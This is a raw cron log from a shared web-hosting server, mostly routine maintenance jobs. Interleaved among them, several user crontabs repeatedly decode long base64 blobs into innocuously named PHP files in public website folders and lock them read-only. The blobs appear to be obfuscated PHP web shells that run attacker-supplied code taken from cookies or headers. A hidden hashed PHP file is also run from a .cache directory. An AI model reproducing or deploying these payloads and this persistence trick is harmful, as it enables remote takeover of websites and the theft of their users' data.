Mar  2 06:39:01 medusa CROND[29764]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:39:01 medusa CROND[29766]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 06:39:01 medusa CROND[29768]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 06:39:01 medusa CROND[29772]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:39:01 medusa CROND[29756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:40:01 medusa CROND[13713]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:40:02 medusa CROND[14077]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 06:40:02 medusa CROND[14081]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 06:40:02 medusa CROND[14084]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:40:02 medusa CROND[14082]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 06:40:02 medusa CROND[14080]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 06:40:02 medusa CROND[14085]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:40:02 medusa CROND[14091]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 06:40:02 medusa CROND[14092]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 06:40:02 medusa CROND[14095]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:40:02 medusa CROND[14098]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 06:40:02 medusa CROND[14083]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 06:40:02 medusa CROND[14100]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:40:02 medusa CROND[14099]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:40:02 medusa CROND[14097]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 06:40:02 medusa CROND[14110]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:40:02 medusa CROND[14116]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:40:02 medusa CROND[14117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:40:02 medusa CROND[14123]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 06:40:02 medusa CROND[14126]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 06:40:02 medusa CROND[14125]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 06:40:02 medusa CROND[14113]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:40:02 medusa CROND[14078]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 06:40:02 medusa CROND[14127]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 06:40:02 medusa CROND[14144]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:40:02 medusa CROND[14121]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 06:40:02 medusa CROND[14120]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 06:40:02 medusa CROND[14119]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 06:41:01 medusa CROND[27187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:41:02 medusa CROND[27405]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 06:41:02 medusa CROND[27408]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 06:41:02 medusa CROND[27411]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:41:02 medusa CROND[27412]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:41:02 medusa CROND[27414]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:41:02 medusa CROND[27415]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:41:02 medusa CROND[27413]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:41:02 medusa CROND[27423]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
